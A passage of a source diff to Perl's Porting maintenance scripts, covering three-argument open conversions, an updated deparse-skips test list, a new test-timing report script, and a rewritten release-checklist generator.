-open $ch, "<$cSH" or die "Cannot open $cSH: $!\n";
+open $ch, '<', $cSH or die "Cannot open $cSH: $!\n";
{ local $/ = "\n\n";
@ch = <$ch>;
close $ch;
@@ -68,7 +68,7 @@ for (grep m{echo .Extracting \$CONFIG_H} => @ch) {
push @ch, ";;\nesac\n";
-open $ch, "> $cSH" or die "Cannot write $cSH: $!\n";
+open $ch, '>', $cSH or die "Cannot write $cSH: $!\n";
print $ch <<EOW;
#!/bin/sh
#
diff --git a/gnu/usr.bin/perl/Porting/corecpan.pl b/gnu/usr.bin/perl/Porting/corecpan.pl
index 3a38d112c6e..75b18abc778 100644
--- a/gnu/usr.bin/perl/Porting/corecpan.pl
+++ b/gnu/usr.bin/perl/Porting/corecpan.pl
@@ -58,7 +58,7 @@ our $opt_f || !-f $packagefile and get_package_details;
# Load the package details. All of them.
my %cpanversions;
-open my $fh, $packagefile or die $!;
+open my $fh, '<', $packagefile or die $!;
while (<$fh>) {
my ($p, $v) = split ' ';
next if 1../^\s*$/; # skip header
diff --git a/gnu/usr.bin/perl/Porting/deparse-skips.txt b/gnu/usr.bin/perl/Porting/deparse-skips.txt
index 18a2fcb61c7..48ad07f7aa0 100644
--- a/gnu/usr.bin/perl/Porting/deparse-skips.txt
+++ b/gnu/usr.bin/perl/Porting/deparse-skips.txt
@@ -31,40 +31,79 @@
__DEPARSE_FAILURES__
-../cpan/Scalar-List-Utils/t/proto.t
-../cpan/Term-ANSIColor/t/taint/basic.t
-../cpan/autodie/t/internal.t
-../cpan/AutoLoader/t/01AutoLoader.t
-../cpan/CGI/t/utf8.t
-../cpan/Encode/t/enc_data.t
-../cpan/Encode/t/encoding.t
-../cpan/Encode/t/jperl.t
-../cpan/ExtUtils-Install/t/Installapi2.t
-../cpan/ExtUtils-Install/t/Packlist.t
-../cpan/ExtUtils-MakeMaker/t/xs.t
-../cpan/ExtUtils-Manifest/t/Manifest.t
-../cpan/File-Path/t/taint.t
-../cpan/File-Temp/t/object.t
-../cpan/IO-Compress/t/050interop-gzip.t
-../cpan/IO-Compress/t/cz-08encoding.t
-../cpan/Module-Build/t/manifypods_with_utf8.t
-../cpan/Socket/t/sockaddr.t
-../cpan/Term-ANSIColor/t/taint.t
-../cpan/Test-Simple/t/Builder/carp.t
-../cpan/Test-Simple/t/fail-more.t
-../cpan/Test-Simple/t/is_deeply_fail.t
-../cpan/Test-Simple/t/plan.t
-../cpan/Test-Simple/t/plan_bad.t
-../cpan/Test-Simple/t/subtest/line_numbers.t
-../cpan/Test-Simple/t/subtest/predicate.t
-../cpan/autodie/t/00-load.t
+base/lex.t # checks regexp stringification
+comp/final_line_num.t # tests syntax error after BEGIN block
+comp/fold.t # mutability of folded constants
+comp/parser.t # crazy #line directives ==> shell syntax errors
+mro/basic_01_c3_utf8.t
+mro/basic_01_dfs_utf8.t
+mro/complex_c3_utf8.t
+mro/isarev.t
+mro/isarev_utf8.t
+op/attrhand.t # Custom attrs ignored; also AH provides none
+op/caller.t
+op/each.t # utf8ness of deparsed strings
+op/goto.t
+op/gv.t # glob copy constants
+op/hexfp.t
+op/index.t
+op/join.t # mutability of folded constants
+op/length.t # utf8ness of deparsed strings
+op/lexsub.t
+op/local.t
+op/lvref.t
+op/not.t
+op/overload_integer.t
+op/override.t
+op/pack.t
+op/postfixderef.t
+op/range.t
+op/readline.t
+op/srand.t
+op/sub_lval.t
+op/sub.t
+op/switch.t
+op/symbolcache.t
+op/taint.t
+op/vec.t
+op/warn.t
+op/write.t
+porting/globvar.t
+re/overload.t # [perl #123385] %^H output
+re/pat_advanced.t # [perl #123417]
+re/pat_rt_report.t # malformed utf8 constant; also /\c@/ -> /\c\@/
+re/pat.t # [perl #90590]
+re/regexp_unicode_prop.t
+re/regex_sets.t
+re/reg_fold.t # [perl #123385] %^H output
+re/rxcode.t # checks regexp stringification
+re/subst.t
+run/switchd-78586.t # -I on #! line is not deparsed
+run/switchI.t # -I on #! line is not deparsed
+uni/attrs.t
+uni/bless.t
+uni/gv.t
+uni/labels.t
+uni/lex_utf8.t
+uni/method.t
+uni/package.t
+uni/parser.t
+uni/readline.t
+uni/select.t
+uni/stash.t
+uni/tie.t
+uni/universal.t
+uni/variables.t
+../cpan/Archive-Tar/t/03_file.t # constant sub ref: FOO->()
../cpan/autodie/t/autodie.t
+../cpan/autodie/t/basic_exceptions.t
+../cpan/autodie/t/binmode.t
../cpan/autodie/t/blog_hints.t
../cpan/autodie/t/caller.t
../cpan/autodie/t/chmod.t
../cpan/autodie/t/chown.t
-../cpan/autodie/t/context.t
../cpan/autodie/t/context_lexical.t
+../cpan/autodie/t/context.t
../cpan/autodie/t/crickey.t
../cpan/autodie/t/dbmopen.t
../cpan/autodie/t/eval_error.t
@@ -72,176 +111,100 @@ __DEPARSE_FAILURES__
../cpan/autodie/t/exceptions.t
../cpan/autodie/t/exec.t
../cpan/autodie/t/filehandles.t
-../cpan/autodie/t/hints.t
+../cpan/autodie/t/fileno.t
../cpan/autodie/t/hints_insist.t
../cpan/autodie/t/hints_pod_examples.t
../cpan/autodie/t/hints_provider_does.t
../cpan/autodie/t/hints_provider_easy_does_it.t
../cpan/autodie/t/hints_provider_isa.t
+../cpan/autodie/t/hints.t
+../cpan/autodie/t/internal.t
../cpan/autodie/t/kill.t
../cpan/autodie/t/lethal.t
+../cpan/autodie/t/mkdir.t
../cpan/autodie/t/open.t
+../cpan/autodie/t/read.t
../cpan/autodie/t/recv.t
../cpan/autodie/t/repeat.t
../cpan/autodie/t/scope_leak.t
../cpan/autodie/t/sysopen.t
+../cpan/autodie/t/truncate.t
+../cpan/autodie/t/unlink.t
../cpan/autodie/t/user-context.t
../cpan/autodie/t/usersub.t
../cpan/autodie/t/utf8_open.t
../cpan/autodie/t/utime.t
../cpan/autodie/t/version_tag.t
-../cpan/podlators/t/basic.t
+../cpan/AutoLoader/t/01AutoLoader.t
+../cpan/bignum/t/big_e_pi.t
+../cpan/bignum/t/bigexp.t
+../cpan/bignum/t/bigint.t
+../cpan/bignum/t/bignum.t
+../cpan/bignum/t/bigrat.t
+../cpan/bignum/t/bii_e_pi.t
+../cpan/bignum/t/biinfnan.t
+../cpan/bignum/t/bir_e_pi.t
+../cpan/bignum/t/bninfnan.t
+../cpan/bignum/t/brinfnan.t
+../cpan/bignum/t/in_effect.t
+../cpan/bignum/t/option_a.t
+../cpan/bignum/t/option_l.t
+../cpan/bignum/t/option_p.t
+../cpan/bignum/t/overrides.t
+../cpan/bignum/t/ratopt_a.t
+../cpan/bignum/t/scope_f.t
+../cpan/bignum/t/scope_i.t
+../cpan/bignum/t/scope_r.t
+../cpan/Math-BigInt/t/constant.t
+../cpan/Math-BigInt/t/const_mbf.t
+../cpan/Module-Metadata/t/metadata.t
+../cpan/Scalar-List-Utils/t/subname.t
+../cpan/Scalar-List-Utils/t/uniq.t
+../cpan/Term-Cap/test.pl
+../cpan/Test-Simple/t/Legacy/Builder/carp.t
+../cpan/Test-Simple/t/Legacy/fail-more.t
+../cpan/Test-Simple/t/Legacy/is_deeply_fail.t
+../cpan/Test-Simple/t/Legacy/no_plan.t # hard-coded line numbers
+../cpan/Test-Simple/t/Legacy/plan_bad.t
+../cpan/Test-Simple/t/Legacy/plan.t
+../cpan/Test-Simple/t/Legacy/subtest/line_numbers.t
+../cpan/Test-Simple/t/Legacy/subtest/predicate.t
+../cpan/Test-Simple/t/regression/684-nested_todo_diag.t
+../cpan/Test-Simple/t/Test2/behavior/run_subtest_inherit.t
../dist/Attribute-Handlers/t/constants.t
../dist/Attribute-Handlers/t/data_convert.t
../dist/Attribute-Handlers/t/linerep.t
../dist/Attribute-Handlers/t/multi.t
../dist/Carp/t/Carp.t
+../dist/constant/t/constant.t
../dist/Data-Dumper/t/dumper.t
+../dist/Data-Dumper/t/trailing_comma.t
../dist/Exporter/t/Exporter.t
../dist/Filter-Simple/t/data.t
-../dist/I18N-LangTags/t/50_super.t
-../dist/IO/t/io_file_export.t
-../dist/IO/t/io_multihomed.t
-../dist/IO/t/io_sel.t
-../dist/IO/t/io_udp.t
-../dist/Locale-Maketext/t/01_about_verbose.t
-../dist/Locale-Maketext/t/10_make.t
-../dist/Locale-Maketext/t/20_get.t
-../dist/Locale-Maketext/t/40_super.t
-../dist/Locale-Maketext/t/50_super.t
-../dist/Locale-Maketext/t/60_super.t
-../dist/Locale-Maketext/t/70_fail_auto.t
-../dist/Locale-Maketext/t/91_backslash.t
-../dist/Math-BigInt/t/const_mbf.t
-../dist/Math-BigInt/t/constant.t
-../dist/PathTools/t/cwd.t
-../dist/Storable/t/blessed.t
../dist/Storable/t/croak.t
-../dist/Term-ReadLine/t/ReadLine.t
-../dist/Thread-Queue/t/08_nothreads.t
-../dist/Tie-File/t/42_offset.t
-../dist/bignum/t/big_e_pi.t
-../dist/bignum/t/bigexp.t
-../dist/bignum/t/bigint.t
-../dist/bignum/t/bignum.t
-../dist/bignum/t/bigrat.t
-../dist/bignum/t/bii_e_pi.t
-../dist/bignum/t/bir_e_pi.t
-../dist/bignum/t/in_effect.t
-../dist/bignum/t/option_a.t
-../dist/bignum/t/option_l.t
-../dist/bignum/t/option_p.t
-../dist/bignum/t/overrides.t
-../dist/bignum/t/ratopt_a.t
-../dist/bignum/t/scope_f.t
-../dist/bignum/t/scope_i.t
-../dist/bignum/t/scope_r.t
-../dist/constant/t/constant.t
-../dist/threads/t/err.t
-../dist/threads/t/exit.t
-../dist/threads/t/kill2.t
-../dist/threads/t/libc.t
-../dist/threads/t/thread.t
+../dist/threads/t/blocks.t
../ext/B/t/b.t
../ext/B/t/optree_constants.t
../ext/B/t/optree_samples.t
-../ext/B/t/xref.t
../ext/Devel-Peek/t/Peek.t
-../ext/File-Glob/t/basic.t
-../ext/File-Glob/t/taint.t
-../ext/Hash-Util/t/Util.t
../ext/IPC-Open3/t/IPC-Open2.t
../ext/IPC-Open3/t/IPC-Open3.t
-../ext/Opcode/t/Opcode.t
-../ext/PerlIO-via/t/via.t
../ext/XS-APItest/t/autoload.t
../ext/XS-APItest/t/blockhooks.t
../ext/XS-APItest/t/call_checker.t
../ext/XS-APItest/t/cleanup.t
../ext/XS-APItest/t/fetch_pad_names.t
-../ext/XS-APItest/t/overload.t
../ext/XS-APItest/t/svpeek.t
-../ext/XS-APItest/t/xsub_h.t
-../lib/DB.t
-../lib/DBM_Filter/t/01error.t
-../lib/DBM_Filter/t/02core.t
-../lib/DBM_Filter/t/compress.t
-../lib/DBM_Filter/t/encode.t
-../lib/DBM_Filter/t/int32.t
-../lib/DBM_Filter/t/null.t
-../lib/DBM_Filter/t/utf8.t
-../lib/English.t
-../lib/File/Basename.t
+../ext/XS-APItest/t/synthetic_scope.t
+../lib/Config.t # Config_heavy.pl fns getting output
../lib/charnames.t
-../lib/less.t
+../lib/dumpvar.t
+../lib/English.t
../lib/overload.t
-base/lex.t # checks regexp stringification
-comp/final_line_num.t # tests syntax error after BEGIN block
-comp/fold.t # mutability of folded constants
-comp/parser.t # crazy #line directives ==> shell syntax errors
-mro/isarev.t
-mro/isarev_utf8.t
-op/attrhand.t # Custom attrs ignored; also AH provides none
-op/attrs.t # [perl #70205] my attrs
-op/caller.t
-op/each.t # utf8ness of deparsed strings
-op/getpid.t # [perl #70205] my attrs
-op/goto.t
-op/gv.t # glob copy constants
-op/index.t
-op/join.t # mutability of folded constants
-op/length.t # utf8ness of deparsed strings
-op/lexsub.t
-op/local.t
-op/not.t
-op/overload_integer.t
-op/override.t
-op/pack.t
-op/postfixderef.t
-op/range.t
-op/readline.t
-op/signatures.t
-op/split.t
-op/srand.t
-op/sub.t
-op/sub_lval.t
-op/switch.t
-op/symbolcache.t
-op/taint.t
-op/vec.t
-op/warn.t
-op/write.t
-porting/globvar.t
-re/overload.t # [perl #123385] %^H output
-re/pat.t # [perl #90590]
-re/pat_advanced.t # [perl #123417]
-re/pat_rt_report.t # malformed utf8 constant; also /\c@/ -> /\c\@/
-re/reg_fold.t # [perl #123385] %^H output
-re/regex_sets.t
-re/regexp_unicode_prop.t
-re/rxcode.t # checks regexp stringification
-re/subst.t
-run/switchI.t # -I on #! line is not deparsed
-run/switchd-78586.t # -I on #! line is not deparsed
-uni/attrs.t
-uni/bless.t
-uni/greek.t
-uni/gv.t
-uni/labels.t
-uni/latin2.t
-uni/lex_utf8.t
-uni/method.t
-uni/package.t
-uni/parser.t
-uni/readline.t
-uni/select.t
-uni/stash.t
-uni/tie.t
-uni/universal.t
+
__DEPARSE_SKIPS__
op/smartkve.t # Gobbles up all memory...
comp/redef.t # Redefinition happens at compile time
-lib/Switch/t/ # B::Deparse doesn't support source filtering
../lib/locale.t # Memory...
diff --git a/gnu/usr.bin/perl/Porting/harness-timer-report.pl b/gnu/usr.bin/perl/Porting/harness-timer-report.pl
new file mode 100755
index 00000000000..13526e3871f
--- /dev/null
+++ b/gnu/usr.bin/perl/Porting/harness-timer-report.pl
@@ -0,0 +1,269 @@
+#!perl -w
+#
+# harness-timer-report.pl
+#
+# - read in the time-annotated outputs of
+# "env HARNESS_TIMER=1 make test" or
+# "make test_harness"
+# - convert the milliseconds to seconds
+# - compute a couple of derived values
+# - cpu: the sum of 'self' and 'kids'
+# - ratio of the wallclock and the cpu
+# - optionally show header, the sum, or the max of each colum
+# - sort the rows in various ways
+# - default ordering by 'cpu' seconds
+# - optionally scale the column values by either the sum or the max
+# - optionally display only rows that have rows of at least / at most a limit
+#
+# The --sort option has a few canned sorting rules. If those are
+# not to your liking, there is always sort(1).
+#
+# Example usages:
+#
+# perl harness-timer-report.pl log
+# perl harness-timer-report.pl --sort=wall log
+# perl harness-timer-report.pl --scale=sum log
+# perl harness-timer-report.pl --scale=sum --min=0.01 log
+# perl harness-timer-report.pl --show=header,max,sum log
+# perl harness-timer-report.pl --min=wall=10 log
+
+use strict;
+use warnings;
+
+use File::Basename qw[basename];
+
+our $ME = basename($0);
+
+use Getopt::Long;
+
+sub usage {
+ die <<__EOF__;
+$ME: Usage:
+$ME [--scale=[sum|max]]
+ [--sort=[cpu|wall|ratio|self|kids|test|name]]
+ [--show=header,sum,max]
+ [--min=[[cpu|wall|ratio|self|kids]=value,...]]
+ [--max=[[cpu|wall|ratio|self|kids]=value,...]]
+ [--order]
+ [--help|--usage]
+ [logfile]
+
+The --order includes the original test order as the last column.
+The logfile default is STDIN.
+__EOF__
+}
+
+my %Opt;
+usage()
+ unless
+ GetOptions(
+ 'scale=s' => \$Opt{scale},
+ 'sort=s' => \$Opt{sort},
+ 'show=s' => \$Opt{show},
+ 'min=s' => \$Opt{min},
+ 'max=s' => \$Opt{max},
+ 'order' => \$Opt{order},
+ 'help|usage' => \$Opt{help},
+ );
+usage() if $Opt{help};
+
+my %SHOW;
+if (defined $Opt{show}) {
+ for my $s (split(/,/, $Opt{show})) {
+ if ($s =~ /^(header|sum|max)$/) {
+ $SHOW{$s}++;
+ } else {
+ die "$ME: Unexpected --show='$s'\n";
+ }
+ }
+}
+my %MIN;
+if (defined $Opt{min}) {
+ for my $s (split(/,/, $Opt{min})) {
+ if ($s =~ /^(wall|cpu|kids|self|ratio)=(\d+(?:\.\d+)?)$/) {
+ $MIN{$1} = $2;
+ } else {
+ die "$ME: Unexpected --min='$s'\n";
+ }
+ }
+}
+my %MAX;
+if (defined $Opt{max}) {
+ for my $s (split(/,/, $Opt{max})) {
+ if ($s =~ /^(wall|cpu|kids|self|ratio)=(\d+(?:\.\d+)?)$/) {
+ $MAX{$1} = $2;
+ } else {
+ die "$ME: Unexpected --max='$s'\n";
+ }
+ }
+}
+
+use List::Util qw[max];
+
+my ($sa, $sb, $sc, $sd, $se);
+my ($ma, $mb, $mc, $md, $me);
+
+my $logfn;
+my $logfh;
+if (@ARGV == 1) {
+ $logfn = $ARGV[0];
+ open($logfh, "<", $logfn) or die "$ME: Failed to open logfn: $logfn\n";
+} elsif (@ARGV == 0) {
+ $logfn = "-";
+ $logfh = *STDIN;
+} else {
+ die "$ME: Unexpected logfile arguments: @ARGV\n";
+}
+
+my $order = 0;
+my @t;
+
+while (<$logfh>) {
+ my ($test, $wall, $self, $kids);
+ # Output of "env HARNESS_TIMER=1 make test":
+ # t/re/pat ....................................................... ok 2876 ms 2660 ms 210 ms
+ if (m{^#\s+(\S+)\s+\.+\s+ok\s+(\d+)\s+ms\s+(\d+)\s+ms\s+(\d+)\s+ms$}) {
+ ($test, $wall, $self, $kids) = ($1, $2, $3, $4);
+ }
+ # Output of "env HARNESS_TIMER=1 make test_harness":
+ # [08:26:11] base/cond.t ........................................................ ok 2 ms ( 0.00 usr 0.00 sys + 0.00 cusr 0.00 csys = 0.00 CPU)
+ if (m{^\[.+?\]+\s+(\S+)\s+\.+\s+ok\s+(\d+)\s+ms\s+\(\s*(\d+\.\d+)\s+usr\s+\s+(\d+\.\d+)\s+sys\s+\+\s+(\d+\.\d+)\s+cusr\s+(\d+\.\d+)\s+csys\s+=\s+(\d+\.\d+)\s+CPU\)}) {
+ $test = $1;
+ $wall = $2;
+ $self = $3 + $4;
+ $kids = $5 + $6;
+ $test =~ s{^\.\./}{}; # "../lib/foo" -> "../lib/foo"
+ }
+ next unless defined $test && defined $wall && $wall > 0;
+ # Milliseconds to seconds.
+ $wall /= 1000;
+ $self /= 1000;
+ $kids /= 1000;
+ my $cpu = $self + $kids;
+ my $ratio = $cpu / $wall;
+ push @t, [ $test, $wall, $self, $kids, $cpu, $ratio, $order++ ];
+ $sa += $wall;
+ $sb += $self;
+ $sc += $kids;
+ $sd += $cpu;
+ $ma = max($wall, $ma // $wall);
+ $mb = max($self, $mb // $self);
+ $mc = max($kids, $mc // $kids);
+ $md = max($cpu, $md // $cpu);
+ $me = max($ratio, $md // $ratio);
+}
+
+die "$ME: No input detected in '$logfn'\n" unless @t;
+
+# Compute the sum for the ratio only after the loop.
+$se = $sd / $sa;
+
+my %SORTER =
+ (
+ 'cpu' =>
+ sub { $b->[4] <=> $a->[4] ||
+ $b->[1] <=> $a->[1] ||
+ $a->[0] cmp $b->[0] },
+ 'wall' =>
+ sub { $b->[1] <=> $a->[1] ||
+ $b->[4] <=> $a->[4] ||
+ $a->[0] cmp $b->[0] },
+ 'ratio' =>
+ sub { $b->[5] <=> $a->[5] ||
+ $b->[4] <=> $a->[4] ||
+ $b->[1] <=> $a->[1] ||
+ $a->[0] cmp $b->[0] },
+ 'self' =>
+ sub { $b->[2] <=> $a->[2] ||
+ $b->[3] <=> $a->[3] ||
+ $a->[0] cmp $b->[0] },
+ 'kids' =>
+ sub { $b->[3] <=> $a->[3] ||
+ $b->[2] <=> $a->[2] ||
+ $a->[0] cmp $b->[0] },
+ 'test' =>
+ sub { $a->[6] <=> $b->[6] },
+ 'name' =>
+ sub { $a->[0] cmp $b->[0] },
+ );
+my $sorter;
+
+$Opt{sort} //= 'cpu';
+
+die "$ME: Unexpected --sort='$Opt{sort}'\n"
+ unless defined $SORTER{$Opt{sort}};
+
+@t = sort { $SORTER{$Opt{sort}}->() } @t;
+
+if (defined $Opt{scale}) {
+ my ($ta, $tb, $tc, $td, $te) =
+ $Opt{scale} eq 'sum' ?
+ ($sa, $sb, $sc, $sd, $se) :
+ $Opt{scale} eq 'max' ?
+ ($ma, $mb, $mc, $md, $me) :
+ die "$ME: Unexpected --scale='$Opt{scale}'";
+
+ my @u;
+ for my $t (@t) {
+ push @u, [ $t->[0],
+ $t->[1] / $ta, $t->[2] / $tb,
+ $t->[3] / $tc, $t->[4] / $td,
+ $t->[5] / $te, $t->[6] ];
+ }
+ @t = @u;
+}
+
+if ($SHOW{header}) {
+ my @header = qw[TEST WALL SELF KIDS CPU RATIO];
+ if ($Opt{order}) {
+ push @header, 'ORDER';
+ }
+ print join(" ", @header), "\n";
+}
+if ($SHOW{sum}) {
+ print join(" ", "SUM",
+ map { sprintf("%.6f", $_) } $sa, $sb, $sc, $sd, $se),
+ "\n";
+}
+if ($SHOW{max}) {
+ print join(" ", "MAX",
+ map { sprintf("%.6f", $_) } $ma, $mb, $mc, $md, $me),
+ "\n";
+}
+
+my %N2I = (wall => 1,
+ self => 2,
+ kids => 3,
+ cpu => 4,
+ ratio => 5);
+
+sub row_is_skippable {
+ my ($t) = @_;
+ if (scalar keys %MIN) {
+ for my $k (grep { exists $MIN{$_} } keys %N2I) {
+ if ($t->[$N2I{$k}] < $MIN{$k}) {
+ return 1;
+ }
+ }
+ }
+ if (scalar keys %MAX) {
+ for my $k (grep { exists $MAX{$_} } keys %N2I) {
+ if ($t->[$N2I{$k}] > $MAX{$k}) {
+ return 1;
+ }
+ }
+ }
+ return 0;
+}
+
+for my $t (@t) {
+ next if row_is_skippable($t);
+ my $out = sprintf("%s %.6f %.6f %.6f %.6f %.6f",
+ $t->[0], $t->[1], $t->[2], $t->[3], $t->[4], $t->[5]);
+ if ($Opt{order}) {
+ $out .= " $t->[6]";
+ }
+ print $out, "\n";
+}
+
+exit(0);
diff --git a/gnu/usr.bin/perl/Porting/leakfinder.pl b/gnu/usr.bin/perl/Porting/leakfinder.pl
index c22a58e4cfd..370ae5c6d96 100644
--- a/gnu/usr.bin/perl/Porting/leakfinder.pl
+++ b/gnu/usr.bin/perl/Porting/leakfinder.pl
@@ -31,9 +31,9 @@ for(`find .`) {
=~ s/\0/'."\\0".'/grid;
$prog = <<end;
open oUt, ">&", STDOUT;
- open STDOUT, ">/dev/null";
- open STDIN, "</dev/null";
- open STDERR, ">/dev/null";
+ open STDOUT, ">", "/dev/null";
+ open STDIN, "<", "/dev/null";
+ open STDERR, ">", "/dev/null";
\$unused_variable = '$q';
eval \$unused_variable while \$also_unused++ < 4;
print oUt sv_count, "\n";
diff --git a/gnu/usr.bin/perl/Porting/make-rmg-checklist b/gnu/usr.bin/perl/Porting/make-rmg-checklist
index e25186c85e0..8b11ed02fc0 100644
--- a/gnu/usr.bin/perl/Porting/make-rmg-checklist
+++ b/gnu/usr.bin/perl/Porting/make-rmg-checklist
@@ -1,145 +1,214 @@
-#!perl
+#!/usr/bin/perl
use strict;
use warnings;
-use autodie;
+use Getopt::Long qw< :config no_ignore_case >;
-use Getopt::Long;
-use Pod::Simple::HTML;
+sub pod {
+ my $filename = shift;
-sub main {
- my ( $help, $type, $html );
- GetOptions(
- 'type:s' => \$type,
- 'html' => \$html,
- 'help' => \$help,
- );
+ open my $fh, '<', $filename
+ or die "Cannot open file ($filename): $!\n";
- if ($help) {
- print <<'EOF';
-make-rmg-checklist [--type TYPE]
+ my @lines = <$fh>;
+
+ close $fh
+ or die "Cannot close file ($filename): $!\n";
+
+ return \@lines;
+}
+
+sub _help {
+ my $msg = shift;
+ if ($msg) {
+ print "Error: $msg\n\n";
+ }
+
+ print << "_END_HELP";
+$0 --version VERSION
This script creates a release checklist as a simple HTML document. It accepts
the following arguments:
- --type The release type for the checklist. This can be BLEAD-FINAL,
- BLEAD-POINT, MAINT, or RC. This defaults to BLEAD-POINT.
+ --version The version you are working on. This will infer the type
+ of release you want to have
- --html Output HTML instead of POD
+ --html Output HTML instead of POD
+_END_HELP
-EOF
+ exit;
+}
- exit;
- }
+sub _type_from_version {
+ my $version = shift;
- $type = _validate_type($type);
+ # 5.26.0 = BLEAD-FINAL
+ # 5.26.0-RC1 = RC
+ # 5.26.1 = MAINT
+ # 5.27.0 = BLEAD-POINT
+ # 5.27.1 = BLEAD-POINT
+ $version =~ m{^ 5\. (\d{1,2}) \. (\d{1,2}) (?: -RC(\d) )? $}xms
+ or die "Version must be 5.x.y or 5.x.y-RC#\n";
- open my $fh, '<', 'Porting/release_managers_guide.pod';
- my $pod = do { local $/; <$fh> };
- close $fh;
+ my ( $major, $minor, $rc ) = ( $1, $2, $3 );
- my $heads = _parse_rmg( $pod, $type );
- my $new_pod = _munge_pod( $pod, $heads );
+ # Dev release
+ if ( $major % 2 != 0 ) {
+ defined $rc
+ and die "Cannot have BLEAD-POINT RC release\n";
- if ($html) {
- my $simple = Pod::Simple::HTML->new();
- $simple->output_fh(*STDOUT);
- $simple->parse_string_document($new_pod);
+ return 'BLEAD-POINT';
}
- else {
- print $new_pod;
- }
-}
-sub _validate_type {
- my $type = shift || 'BLEAD-POINT';
+ defined $rc
+ and return 'RC';
- my @valid = qw( BLEAD-FINAL BLEAD-POINT MAINT RC );
- my %valid = map { $_ => 1 } @valid;
+ return $minor == 0 ? 'BLEAD-FINAL' : 'MAINT';
+}
- unless ( $valid{ uc $type } ) {
- my $err
- = "The type you provided ($type) is not a valid release type. It must be one of ";
- $err .= join ', ', @valid;
- $err .= "\n";
+sub iterate_items {
+ my ( $items, $type, $cb ) = @_;
- die $err;
- }
+ ITEM:
+ foreach my $item ( @{$items} ) {
+ foreach my $meta ( @{ $item->{'metadata'} || [] } ) {
+ if ( $meta =~ /skip .+ $type/xms ) {
+ next ITEM;
+ }
+ elsif ( $meta =~ /skip/xms ) {
+ $item->{content} =~
+ s/^ [^\n]* \b MUST\ SKIP\ this\ step \b [^\n]* \n\n//xms;
+ }
+ }
- return $type;
+ $cb->($item);
+ }
}
-sub _parse_rmg {
- my $pod = shift;
- my $type = shift;
+sub create_checklist {
+ my ( $type, $items ) = @_;
+
+ my $collect;
+ my $prev_head = 0;
+ my $over_level;
+ iterate_items( $items, $type, sub {
+ my $item = shift;
- my @heads;
- my $include = 0;
- my %skip;
+ foreach my $meta ( @{ $item->{'metadata'} || [] } ) {
+ $meta =~ /checklist \s+ begin/xmsi
+ and $collect = 1;
+
+ $meta =~ /checklist \s+ end/xmsi
+ and $collect = 0;
- for ( split /\n/, $pod ) {
- if (/^=for checklist begin/) {
- $include = 1;
- next;
}
- next unless $include;
+ $collect
+ or return;
- last if /^=for checklist end/;
+ $over_level = ( $item->{'head'} - 1 ) * 4;
- if (/^=for checklist skip (.+)/) {
- %skip = map { $_ => 1 } split / /, $1;
- next;
- }
+ print $prev_head < $item->{'head'} ? "=over $over_level\n\n"
+ : $prev_head > $item->{'head'} ? "=back\n\n"
+ : '';
- if (/^=head(\d) (.+)/) {
- unless ( keys %skip && $skip{$type} ) {
- push @heads, [ $1, $2 ];
- }
+ chomp( my $name = $item->{'name'} );
+ print "=item * L<< /$name >>\n\n";
- %skip = ();
- }
- }
+ $prev_head = $item->{'head'};
+ });
- return \@heads;
+ print "=back\n\n" x ( $over_level / 4 );
}
-sub _munge_pod {
- my $pod = shift;
- my $heads = shift;
+my ($version, $html);
+GetOptions(
+ 'version|v=s' => \$version,
+ 'html' => \$html,
+ 'help|h' => sub { _help(); },
+);
+
+defined $version
+ or _help('You must provide a version number');
+
+my $pod_output = '';
+if ($html) {
+ require Pod::Simple::HTML;
+ open my $fh, '>', \$pod_output
+ or die "Can't create fh to string: $!\n";
+ select $fh;
+}
- $pod =~ s/=head1 NAME.+?(=head1 SYNOPSIS)/$1/s;
+my $type = _type_from_version($version);
- my $new_pod = <<'EOF';
-=head1 NAME
+chomp( my @pod_lines = @{ pod('Porting/release_managers_guide.pod') } );
-Release Manager's Guide with Checklist
+my ( @items, $current_element, @leading_attrs );
+my $skip_headers = qr/^=encoding/xms;
+my $passthru_headers = qr/^= (?: over | item | back | cut )/xms;
-=head2 Checklist
+foreach my $line (@pod_lines) {
+ $line =~ $skip_headers
+ and next;
-EOF
+ if ( $line =~ /^ =head(\d) \s+ (.+) $/xms ) {
+ my ( $head_num, $head_title ) = ( $1, $2 );
- my $last_level = 0;
- for my $head ( @{$heads} ) {
- my $level = $head->[0] - 1;
+ my $elem = {
+ 'head' => $head_num,
+ 'name' => $head_title,
+ };
- if ( $level > $last_level ) {
- $new_pod .= '=over ' . $level * 4;
- $new_pod .= "\n\n";
- }
- elsif ( $level < $last_level ) {
- $new_pod .= "=back\n\n" for 1 .. ( $last_level - $level );
+ if (@leading_attrs) {
+ $elem->{'metadata'} = [ @leading_attrs ];
+ @leading_attrs = ();
}
- $new_pod .= '=item * ' . 'L<< /' . $head->[1] . " >>\n\n";
+ $current_element = $elem;
+ push @items, $elem;
- $last_level = $level;
+ next;
}
- $new_pod .= "=back\n\n" while $last_level--;
+ if ( $line =~ /^ =for \s+ (.+) $ /xms ) {
+ push @leading_attrs, $1;
+ next;
+ }
- $new_pod .= $pod;
+ $line =~ $passthru_headers
+ or length $line == 0 # allow empty lines
+ or $line =~ /^[^=]/xms
+ or die "Cannot recognize line: '$line'\n";
- return $new_pod;
+ $current_element->{'content'} .= "\n" . $line;
}
-main();
+print << "_END_BEGINNING";
+=head1 NAME
+
+Release Manager's Guide with Checklist for $version ($type)
+
+=head2 Checklist
+
+_END_BEGINNING
+
+# Remove beginning
+# This can also be done with a '=for introduction' in the future
+$items[0]{'name'} =~ /^NAME/xmsi
+ and shift @items;
+
+$items[0]{'name'} =~ /^MAKING \s+ A \s+ CHECKLIST/xmsi
+ and shift @items;
+
+create_checklist( $type, \@items );
+
+iterate_items( \@items, $type, sub {
+ my $item = shift;
+ print "=head$item->{'head'} $item->{'name'}";
+ print "$item->{'content'}\n";
+} );
+
+if ($html) {
+ my $simple = Pod::Simple::HTML->new;
+ $simple->output_fh(*STDOUT);
+ $simple->parse_string_document($pod_output);
+}
diff --git a/gnu/usr.bin/perl/Porting/make_modlib_cpan.pl b/gnu/usr.bin/perl/Porting/make_modlib_cpan.pl
index ea0878bda0c..39f4ff97519 100644
--- a/gnu/usr.bin/perl/Porting/make_modlib_cpan.pl
+++ b/gnu/usr.bin/perl/Porting/make_modlib_cpan.pl
@@ -7,26 +7,35 @@ use warnings;
use 5.14.0;
use autodie;
use HTTP::Tiny;
+use JSON::PP;
+
+$|=1;
my $http = HTTP::Tiny->new;
-my $url = 'http://www.cpan.org/SITES';
-my $filename = 'SITES';
-my $response = $http->mirror( $url, $filename );
+my $url = 'http://www.cpan.org/indices/mirrors.json';
+
+my $response = $http->get($url);
+
unless ( $response->{success} ) {
